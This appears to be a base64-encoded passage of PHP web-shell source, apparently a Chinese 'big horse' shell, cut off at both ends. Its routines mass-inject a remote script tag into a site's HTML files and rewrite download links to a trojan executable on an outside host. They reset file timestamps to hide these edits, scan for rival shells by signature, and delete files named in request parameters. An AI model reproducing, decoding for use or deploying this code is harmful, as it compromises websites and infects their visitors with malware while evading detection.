m0gbWV0aG9kPSJQT1NUIiBuYW1lPSJ4Zm9ybSIgaWQ9Inhmb3JtIiBhY3Rpb249Ij9zPWMiPgo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzVweDsiPsflwu3Ct762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJxcCIgaWQ9InFwIiB2YWx1ZT0ieyRST09UX0RJUn0iIHN0eWxlPSJ3aWR0aDo1MDBweDsiPgo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gRnVsbGxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpJz4KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS23ts6n0aHU8S0tPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEiPs341b64+sS/wrw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiI+sb6zzNDyxL/CvDwvb3B0aW9uPgo8L3NlbGVjdD48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjM1cHg7Ij7OxLz+wODQzSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icXQiIGlkPSJxdCIgdmFsdWU9Ii5odG18Lmh0bWx8LnNodG1sIiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4KPHNlbGVjdCBvbmNoYW5nZT0ncmV0dXJuIEZ1bGxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+CjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPi0twODQzdGh1PEtLTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIj6+ssyszsS8/jwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0Ij69xbG+K76yzKw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSI+SlPOxLz+PC9vcHRpb24+Cjwvc2VsZWN0PjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsfls/20+sLrIDx0ZXh0YXJlYSBuYW1lPSJxYyIgaWQ9InFjIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjE4MHB4OyI+Jmx0O3NjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0IHNyYz0iaHR0cDovL3d3dy54c2p5aWdlY2FvZGFuZGVkYW1hLmNvbS9hZC5qcyImZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7PC90ZXh0YXJlYT48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjMwcHg7Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InFkIiB2YWx1ZT0iMSIgY2hlY2tlZD6xo7PWzsS8/tDeuMTKsbzksrux5DwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6NTBweDsiPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icWIiIHZhbHVlPSJhIiBjaGVja2VkPr2rx+XC7dOm08PT2rjDzsS8/rzQLNfTzsS8/rzQus3OxLz+Cjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InFiIiB2YWx1ZT0iYiI+vfa9q8flwu3TptPD09q4w87EvP680DwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK/qsq8x+XC7SIgc3R5bGU9IndpZHRoOjgwcHg7aGVpZ2h0OjI2cHg7IiBvbmNsaWNrPSJhdXRvdXAoKTsiPjwvZGl2Pgo8L2Zvcm0+CkVORDsKCXJldHVybiB0cnVlOwp9CgovL8X6wb/M5ru7CgpmdW5jdGlvbiBUaWh1YW5fQXV0bygkdHAsJHR0LCR0aCwkdGNhLCR0Y2IsJHRkLCR0YikKewoJaWYoKCRoX2QgPSBAb3BlbmRpcigkdHApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7Cgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkKCXsKCQlpZigkRmlsZW5hbWUgPT0gJy4nIHx8ICRGaWxlbmFtZSA9PSAnLi4nKSBjb250aW51ZTsKCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkdHAuJy8nLiRGaWxlbmFtZSk7CgkJaWYoaXNfZGlyKCRGaWxlcGF0aCkgJiYgJHRiKSBUaWh1YW5fQXV0bygkRmlsZXBhdGgsJHR0LCR0aCwkdGNhLCR0Y2IsJHRkLCR0Yik7CgkJJGRvaW5nID0gZmFsc2U7CgkJaWYoZXJlZ2koJHR0LCRGaWxlbmFtZSkpCgkJewoJCQkkaWMgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsKCQkJaWYoJHRoKQoJCQl7CgkJCQlpZighc3RyaXN0cigkaWMsJHRjYSkpIGNvbnRpbnVlOwoJCQkJJGljID0gc3RyX3JlcGxhY2UoJHRjYSwkdGNiLCRpYyk7CgkJCQkkZG9pbmcgPSB0cnVlOwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJcHJlZ19tYXRjaF9hbGwoIi9ocmVmXD1cIihbXn5dKj8pXCIvaSIsJGljLCRuYyk7CgkJCQlmb3IoJGkgPSAwOyRpIDwgY291bnQoJG5jWzFdKTskaSsrKXtpZihlcmVnaSgkdGNhLCRuY1sxXVskaV0pKXskaWMgPSBzdHJfcmVwbGFjZSgkbmNbMV1bJGldLCR0Y2IsJGljKTskZG9pbmcgPSB0cnVlO319CgkJCX0KCQkJaWYoJHRkKSAkZnRpbWUgPSBAZmlsZW10aW1lKCRGaWxlcGF0aCk7CgkJCWlmKCRkb2luZykgZWNobyBGaWxlX1dyaXRlKCRGaWxlcGF0aCwkaWMsJ3diJykgPyAnPGZvbnQgY29sb3I9IiMwMDY2MDAiPrPJuaY6PC9mb250PicuJEZpbGVwYXRoLicgPGJyPicuIlxyXG4iIDogJzxmb250IGNvbG9yPSIjRkYwMDAwIj7Kp7DcOjwvZm9udD4nLiRGaWxlcGF0aC4nIDxicj4nLiJcclxuIjsKCQkJaWYoJHRkKSBAdG91Y2goJEZpbGVwYXRoLCRmdGltZSk7CgkJCW9iX2ZsdXNoKCk7CgkJCWZsdXNoKCk7CgkJfQoJfQoJQGNsb3NlZGlyKCRoX2QpOwoJcmV0dXJuIHRydWU7Cn0KCmZ1bmN0aW9uIFRpaHVhbl9kKCkKewoJaWYoKCFlbXB0eSgkX1BPU1RbJ3RwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsndHQnXSkpKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkdHQgPSBzdHJfcmVwbGFjZSgnLicsJ1xcLicsJF9QT1NUWyd0dCddKTsKCQkkdGQgPSBpc3NldCgkX1BPU1RbJ3RkJ10pID8gdHJ1ZSA6IGZhbHNlOwoJCSR0YiA9ICgkX1BPU1RbJ3RiJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsKCQkkdGggPSAoJF9QT1NUWyd0aCddID09ICdhJykgPyB0cnVlIDogZmFsc2U7CgkJaWYoJHRoKSAkX1BPU1RbJ3RjYSddID0gc3RyX3JlcGxhY2UoJy4nLCdcXC4nLCRfUE9TVFsndGNhJ10pOwoJCWVjaG8gVGlodWFuX0F1dG8oJF9QT1NUWyd0cCddLCR0dCwkdGgsJF9QT1NUWyd0Y2EnXSwkX1BPU1RbJ3RjYiddLCR0ZCwkdGIpID8gJzxhIGhyZWY9IiMiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj1cJz9zPWRcJyI+zOa7u83qsc88L2E+JyA6ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249XCc/cz1kXCciPtLss6PW1da5PC9hPic7CgkJZWNobyAnPC9kaXY+JzsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkkRklMRV9ESVIgPSBGaWxlX1N0cihkaXJuYW1lKF9fRklMRV9fKSk7CgkkUk9PVF9ESVIgPSBGaWxlX01vZGUoKTsKcHJpbnQ8PDxFTkQKPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIEZ1bGxsbGwoaSl7CglpZihpPT0wKSByZXR1cm4gZmFsc2U7CiAgU3RyID0gbmV3IEFycmF5KDUpOwogIGlmKGkgPD0gMil7U3RyWzFdID0gInskUk9PVF9ESVJ9IjtTdHJbMl0gPSAieyRGSUxFX0RJUn0iO3Rmb3JtLnRwLnZhbHVlID0gU3RyW2ldO30KCWVsc2V7U3RyWzNdID0gIi5odG18Lmh0bWx8LnNodG1sIjtTdHJbNF0gPSAiLmh0bXwuaHRtbHwuc2h0bWx8LmFzcHwucGhwfC5qc3B8LmNnaXwuYXNweHwuZG8iO1N0cls1XSA9ICIuanMiO3Rmb3JtLnR0LnZhbHVlID0gU3RyW2ldO30KICByZXR1cm4gdHJ1ZTsKfQpmdW5jdGlvbiBzaG93dGgodGgpewoJaWYodGggPT0gJ2EnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2V0YXV0bycpLmlubmVySFRNTCA9ICey6dXSxNrI3SA8dGV4dGFyZWEgbmFtZT0idGNhIiBpZD0idGNhIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjEwMHB4OyI+PC90ZXh0YXJlYT48YnI+zOa7u7PJzqogPHRleHRhcmVhIG5hbWU9InRjYiIgaWQ9InRjYiIgc3R5bGU9IndpZHRoOjYxMHB4O2hlaWdodDoxMDBweDsiPjwvdGV4dGFyZWE+JzsKCWlmKHRoID09ICdiJykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NldGF1dG8nKS5pbm5lckhUTUwgPSAnPGJyPs/C1Ni689e6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0Y2EiIGlkPSJ0Y2EiIHZhbHVlPSIuZXhlfC56MHwucmFyfC56aXB8Lmd6fC50b3JyZW50IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij48YnI+PGJyPszmu7uzyc6qIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0Y2IiIGlkPSJ0Y2IiIHZhbHVlPSJodHRwOi8vd3d3LnhzanlpZ2VjYW9kYW5kZWRhbWEuY29tL2Rvd25sb2FkL211bWEuZXhlIiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4nOwoJcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gYXV0b3VwKCl7CglpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHAnKS52YWx1ZSA9PSAnJyl7YWxlcnQoJ8zmu7vCt762srvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQoJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3R0JykudmFsdWUgPT0gJycpe2FsZXJ0KCfOxLz+wODQzbK7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30KCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0Y2EnKS52YWx1ZSA9PSAnJyl7YWxlcnQoJ8zmu7u0+sLrsrvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Rmb3JtJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0idGZvcm0iIGlkPSJ0Zm9ybSIgYWN0aW9uPSI/cz1kIj4KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjM1cHg7Ij7M5ru7wre+tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idHAiIGlkPSJ0cCIgdmFsdWU9InskUk9PVF9ESVJ9IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4KPHNlbGVjdCBvbmNoYW5nZT0ncmV0dXJuIEZ1bGxsbGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknPgo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD4tLbe2zqfRodTxLS08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSI+zfjVvrj6xL/CvDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyIj6xvrPM0PLEv8K8PC9vcHRpb24+Cjwvc2VsZWN0PjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzVweDsiPs7EvP7A4NDNIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0dCIgaWQ9InR0IiB2YWx1ZT0iLmh0bXwuaHRtbHwuc2h0bWwiIHN0eWxlPSJ3aWR0aDo1MDBweDsiPgo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gRnVsbGxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+CjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPi0twODQzdGh1PEtLTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIj6+ssyszsS8/jwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0Ij69xbG+K76yzKw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSI+SlPOxLz+PC9vcHRpb24+Cjwvc2VsZWN0PjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MjM1cHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InRoIiB2YWx1ZT0iYSIgb25jbGljaz0ic2hvd3RoKCdhJykiIGNoZWNrZWQ+zOa7u87EvP7W0LXE1ri2qMTayN0gPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0aCIgdmFsdWU9ImIiIG9uY2xpY2s9InNob3d0aCgnYicpIj7M5ru7zsS8/tbQtcTPwtTYtdjWtzxicj4KPGRpdiBpZD0ic2V0YXV0byI+sunV0sTayN0gPHRleHRhcmVhIG5hbWU9InRjYSIgaWQ9InRjYSIgc3R5bGU9IndpZHRoOjYxMHB4O2hlaWdodDoxMDBweDsiPjwvdGV4dGFyZWE+PGJyPszmu7uzyc6qIDx0ZXh0YXJlYSBuYW1lPSJ0Y2IiIGlkPSJ0Y2IiIHN0eWxlPSJ3aWR0aDo2MTBweDtoZWlnaHQ6MTAwcHg7Ij48L3RleHRhcmVhPjwvZGl2PjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzBweDsiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGQiIHZhbHVlPSIxIiBjaGVja2VkPrGjs9bOxLz+0N64xMqxvOSyu7HkPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDo1MHB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0YiIgdmFsdWU9ImEiIGNoZWNrZWQ+vavM5ru706bTw9PauMPOxLz+vNAs19POxLz+vNC6zc7EvP4KPGJyPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idGIiIHZhbHVlPSJiIj699r2rzOa7u9Om08PT2rjDzsS8/rzQPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ir+qyrzM5ru7IiBzdHlsZT0id2lkdGg6ODBweDtoZWlnaHQ6MjZweDsiIG9uY2xpY2s9ImF1dG91cCgpOyI+PC9kaXY+CjwvZm9ybT4KRU5EOwoJcmV0dXJuIHRydWU7Cn0KCi8vyajD6MS+wu0KCmZ1bmN0aW9uIEFudGl2aXJ1c19BdXRvKCRzcCwkZmVhdHVyZXMsJHN0LCRzYikKewoJaWYoKCRoX2QgPSBAb3BlbmRpcigkc3ApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7CgkkUk9PVF9ESVIgPSBGaWxlX01vZGUoKTsKCXdoaWxlKGZhbHNlICE9PSAoJEZpbGVuYW1lID0gQHJlYWRkaXIoJGhfZCkpKQoJewoJCWlmKCRGaWxlbmFtZSA9PSAnLicgfHwgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOwoJCSRGaWxlcGF0aCA9IEZpbGVfU3RyKCRzcC4nLycuJEZpbGVuYW1lKTsKCQlpZihpc19kaXIoJEZpbGVwYXRoKSAmJiAkc2IpIEFudGl2aXJ1c19BdXRvKCRGaWxlcGF0aCwkZmVhdHVyZXMsJHN0KTsKCQlpZihlcmVnaSgkc3QsJEZpbGVuYW1lKSkKCQl7CgkJCWlmKCRGaWxlcGF0aCA9PSBGaWxlX1N0cihfX0ZJTEVfXykpIGNvbnRpbnVlOwoJCQkkaWMgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsKCQkJZm9yZWFjaCgkZmVhdHVyZXMgYXMgJHZhciA9PiAka2V5KQoJCQl7CgkJCQlpZihzdHJpc3RyKCRpYywka2V5KSkKCQkJCXsKCQkJCQkkRmlsZXVybHMgPSBzdHJfcmVwbGFjZSgkUk9PVF9ESVIsJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLicvJywkRmlsZXBhdGgpOwoJCQkJCSRGaWxldGltZSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkRmlsZXBhdGgpKTsKCQkJCQllY2hvICcgPGEgaHJlZj0iJy4kRmlsZXVybHMuJyIgdGFyZ2V0PSJfYmxhbmsiPiA8Zm9udCBjb2xvcj0iIzhCMDAwMCI+ICcuJEZpbGVwYXRoLicgPC9mb250PiA8L2E+IDxicj4gob48YSBocmVmPSI/cz1lJmZwPScudXJsZW5jb2RlKCRzcCkuJyZmbj0nLiRGaWxlbmFtZS4nJmRpbT0nLnVybGVuY29kZSgka2V5KS4nIiB0YXJnZXQ9Il9ibGFuayI+ILHgvK0gPC9hPiA8YSBocmVmPSI/cz1lJmRmPScudXJsZW5jb2RlKCRGaWxlcGF0aCkuJyIgdGFyZ2V0PSJfYmxhbmsiPiDJvrP9IDwvYT4gob8gJzsKCQkJCQllY2hvICcgob4gJy4kRmlsZXRpbWUuJyChvyA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICcuJHZhci4nIDwvZm9udD4gPGJyPiA8YnI+ICcuIlxyXG4iOwoJCQkJCWJyZWFrOwoJCQkJfQoJCQl9CgkJCW9iX2ZsdXNoKCk7CgkJCWZsdXNoKCk7CgkJfQoJfQoJQGNsb3NlZGlyKCRoX2QpOwoJcmV0dXJuIHRydWU7Cn0KCmZ1bmN0aW9uIEFudGl2aXJ1c19lKCkKewoJaWYoIWVtcHR5KCRfR0VUWydkZiddKSl7ZWNobyAkX0dFVFsnZGYnXTtpZihAdW5saW5rKCRfR0VUWydkZiddKSl7ZWNobyAnyb6z/bPJuaYnO31lbHNle0BjaG1vZCgkX0dFVFsnZGYnXSwwNjY2KTtlY2hvIEB1bmxpbmsoJF9HRVRbJ2RmJ10pID8gJ8m+s/2zybmmJyA6ICfJvrP9yqew3Cc7fSByZXR1cm4gZmFsc2U7fQoJaWYoKCFlbXB0eSgkX0dFVFsnZnAnXSkpICYmICghZW1wdHkoJF9HRVRbJ2ZuJ10pKSAmJiAoIWVtcHR5KCRfR0VUWydkaW0nXSkpKSB7IEZpbGVfRWRpdCgkX0dFVFsnZnAnXSwkX0dFVFsnZm4nXSwkX0dFVFsnZGltJ10pOyByZXR1cm4gZmFsc2U7IH0KCSRTQ0FOX0RJUiA9IGlzc2V0KCRfUE9TVFsnc3AnXSkgPyAkX1BPU1RbJ3NwJ10gOiBGaWxlX01vZGUoKTsKCSRmZWF0dXJlc19waHAgPSBhcnJheSgncGhwtPPC7czY1fcxJz0+J2NoYTg4LmNuJywncGhwtPPC7czY1fcyJz0+Jy0+cmVhZCgpJywncGhwtPPC7czY1fczJz0+J3JlYWRkaXIoJywnzqPP1U1ZU1FM0+++5DQnPT4ncmV0dXJucyBzdHJpbmcgc29uYW1lJywncGhwvNPD3LTzwu3M2NX3NSc9PidldmFsKGd6aW5mbGF0ZSgnLCdwaHC808PctPPC7czY1fc2Jz0+J2V2YWwoYmFzZTY0X2RlY29kZSgnLCdwaHDSu77ku7DM2NX3Nyc9PidldmFsKCRfJywncGhw0ru+5LuwzNjV9zgnPT4nZXZhbCAoJF8nLCdwaHDJz7SruvPDxczY1fc5Jz0+J2NvcHkoJF9GSUxFUycsJ3BocMnPtKu688PFzNjV9zEwJz0+J2NvcHkgKCRfRklMRVMnLCdwaHDJz7SruvPDxczY1fcxMSc9Pidtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFUycsJ3BocMnPtKu688PFzNjV9zEyJz0+J21vdmVfdXBsb2FkZWRfZmlsZSAoJF9GSUxFUycsJ3BocNChwu3M2NX3MTMnPT4nc3RyX3JlcGxhY2UoXCdcXFxcXCcsXCcvXCcsJyk7CgkkZmVhdHVyZXNfYXN4ID0gYXJyYXkoJ2FzcNChwu3M2NX3MSc9Pie++LbUwre+ticsJ2FzcNChwu3M2NX3Mic9PifK5Mjrwu21xMTayN0nLCdhc3DQocLtzNjV9zMnPT4nZnNvLmNyZWF0ZXRleHRmaWxlKHBhdGgsdHJ1ZSknLCdhc3DSu77ku7DM2NX3NCc9Pic8JWV4ZWN1dGUocmVxdWVzdCcsJ2FzcNK7vuS7sMzY1fc1Jz0+JzwlZXZhbCByZXF1ZXN0JywnYXNw0ru+5LuwzNjV9zYnPT4nZXhlY3V0ZSBzZXNzaW9uKCcsJ2FzcMr9vt2/4rrzw8XM2NX3Nyc9PictLUNyZWF0ZWQhJywnYXNwtPPC7czY1fc4Jz0+J1dTY3JpcHQuU2hlbGwnLCdhc3C089Chwu3M2NX3OSc9Pic8JUAgTEFOR1VBR0UgPSBWQlNjcmlwdC5FbmNvZGUgJT4nLCdhc3B4tPPC7czY1fcxMCc9Pid3d3cucm9vdGtpdC5uZXQuY24nLCdhc3B4tPPC7czY1fcxMSc9PidQcm9jZXNzLkdldFByb2Nlc3NlcycsJ2FzcHi088LtzNjV9zEyJz0+J2xha2UyJyk7CnByaW50PDw8RU5ECjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0idGZvcm0iIGlkPSJ0Zm9ybSIgYWN0aW9uPSI/cz1lIj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7JqMPowre+tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3AiIGlkPSJzcCIgdmFsdWU9InskU0NBTl9ESVJ9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7EvsLtwODQzSA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InN0cGhwIiB2YWx1ZT0icGhwIiBjaGVja2VkPnBocMS+wu0gCjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic3Rhc3giIHZhbHVlPSJhc3giPmFzcCthc3B4xL7C7TwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6NTBweDsiPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ic2IiIHZhbHVlPSJhIiBjaGVja2VkPr2ryajC7dOm08PT2rjDzsS8/rzQLNfTzsS8/rzQus3OxLz+Cjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNiIiB2YWx1ZT0iYiI+vfa9q8mowu3TptPD09q4w87EvP680DwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK/qsq8yajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPC9mb3JtPgpFTkQ7CglpZighZW1wdHkoJF9QT1NUWydzcCddKSkKCXsKCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7CgkJaWYoaXNzZXQoJF9QT1NUWydzdHBocCddKSl7JGZlYXR1cmVzX2FsbCA9ICRmZWF0dXJlc19waHA7ICRzdCA9ICdcLnBocHxcLmluY3xcOyc7fQoJCWlmKGlzc2V0KCRfUE9TVFsnc3Rhc3gnXSkpeyRmZWF0dXJlc19hbGwgPSAkZmVhdHVyZXNfYXN4OyAkc3QgPSAnXC5hc3B8XC5hc2F8XC5jZXJ8XC5hc3B4fFwuYXNjeHxcOyc7fQoJCWlmKGlzc2V0KCRfUE9TVFsnc3RwaHAnXSkgJiYgaXNzZXQoJF9QT1NUWydzdGFzeCddKSl7JGZlYXR1cmVzX2FsbCA9IGFycmF5X21lcmdlKCRmZWF0dXJlc19waHAsJGZlYXR1cmVzX2FzeCk7ICRzdCA9ICdcLnBocHxcLmluY3xcLmFzcHxcLmFzYXxcLmNlcnxcLmFzcHh8XC5hc2N4fFw7Jzt9CgkJJHNiID0gKCRfUE9TVFsnc2InXSA9PSAnYScpID8gdHJ1ZSA6IGZhbHNlOwoJCWVjaG8gQW50aXZpcnVzX0F1dG8oJF9QT1NUWydzcCddLCRmZWF0dXJlc19hbGwsJHN0LCRzYikgPyAnyajD6M3qsc8nIDogJ9Lss6PW1da5JzsKCQllY2hvICc8L2Rpdj4nOwoJfQoJcmV0dXJuIHRydWU7Cn0KCi8vy9HL987EvP4KCmZ1bmN0aW9uIEZpbmRmaWxlX0F1dG8oJHNmcCwkc2ZjLCRzZnQsJHNmZiwkc2ZiKQp7CgkvL2VjaG8gJHNmcC4nPGJyPicuJHNmYy4nPGJyPicuJHNmdC4nPGJyPicuJHNmZi4nPGJyPicuJHNmYjsKCWlmKCgkaF9kID0gQG9wZW5kaXIoJHNmcCkpID09IE5VTEwpIHJldHVybiBmYWxzZTsKCXdoaWxlKGZhbHNlICE9PSAoJEZpbGVuYW1lID0gQHJlYWRkaXIoJGhfZCkpKQoJewoJCWlmKCRGaWxlbmFtZSA9PSAnLicgfHwgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOwoJCWlmKGVyZWdpKCRzZnQsJEZpbGVuYW1lKSkgY29udGludWU7CgkJJEZpbGVwYXRoID0gRmlsZV9TdHIoJHNmcC4nLycuJEZpbGVuYW1lKTsKCQlpZihpc19kaXIoJEZpbGVwYXRoKSAmJiAkc2ZiKSBGaW5kZmlsZV9BdXRvKCRGaWxlcGF0aCwkc2ZjLCRzZnQsJHNmZiwkc2ZiKTsKCQlpZigkc2ZmKQoJCXsKCQkJaWYoc3RyaXN0cigkRmlsZW5hbWUsJHNmYykpCgkJCXsKCQkJCWVjaG8gJzxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/cz1wJmZwPScudXJsZW5jb2RlKCRzZnApLicmZm49Jy51cmxlbmNvZGUoJEZpbGVuYW1lKS4nIj4gJy4kRmlsZXBhdGguJyA8L2E+PGJyPicuIlxyXG4iOwoJCQkJb2JfZmx1c2goKTsKCQkJCWZsdXNoKCk7CgkJCX0KCQl9CgkJZWxzZQoJCXsKCQkJJEZpbGVfY29kZSA9IEZpbGVfUmVhZCgkRmlsZXBhdGgpOwoJCQlpZihzdHJpc3RyKCRGaWxlX2NvZGUsJHNmYykpCgkJCXsKCQkJCWVjaG8gJzxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/cz1wJmZwPScudXJsZW5jb2RlKCRzZnApLicmZm49Jy51cmxlbmNvZGUoJEZpbGVuYW1lKS4nIj4gJy4kRmlsZXBhdGguJyA8L2E+PGJyPicuIlxyXG4iOwoJCQkJb2JfZmx1c2goKTsKCQkJCWZsdXNoKCk7CgkJCX0KCQl9Cgl9CglAY2xvc2VkaXIoJGhfZCk7CglyZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gRmluZGZpbGVfaigpCnsKCWlmKCFlbXB0eSgkX0dFVFsnZGYnXSkpe2VjaG8gJF9HRVRbJ2RmJ107aWYoQHVubGluaygkX0dFVFsnZGYnXSkpe2VjaG8gJ8m+s/2zybmmJzt9ZWxzZXtAY2htb2QoJF9HRVRbJ2RmJ10sMDY2Nik7ZWNobyBAdW5saW5rKCRfR0VUWydkZiddKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwnO30gcmV0dXJuIGZhbHNlO30KCWlmKCghZW1wdHkoJF9HRVRbJ2ZwJ10pKSAmJiAoIWVtcHR5KCRfR0VUWydmbiddKSkgJiYgKCFlbXB0eSgkX0dFVFsnZGltJ10pKSkgeyBGaWxlX0VkaXQoJF9HRVRbJ2ZwJ10sJF9HRVRbJ2ZuJ10sJF9HRVRbJ2RpbSddKTsgcmV0dXJuIGZhbHNlOyB9CgkkU0NBTl9ESVIgPSBpc3NldCgkX1BPU1RbJ3NmcCddKSA/ICRfUE9TVFsnc2ZwJ10gOiBGaWxlX01vZGUoKTsKCSRTQ0FOX0NPREUgPSBpc3NldCgkX1BPU1RbJ3NmYyddKSA/ICRfUE9TVFsnc2ZjJ10gOiAnY29uZmlnJzsKCSRTQ0FOX1RZUEUgPSBpc3NldCgkX1BPU1RbJ3NmdCddKSA/ICRfUE9TVFsnc2Z0J10gOiAnLm1wM3wubXA0fC5hdml8LnN3ZnwuanBnfC5naWZ8LnBuZ3wuYm1wfC5naG98LnJhcnwuZXhlfC56aXAnOwpwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Impmb3JtIiBpZD0iamZvcm0iIGFjdGlvbj0iP3M9aiI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+yajD6MK3vrYgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNmcCIgdmFsdWU9InskU0NBTl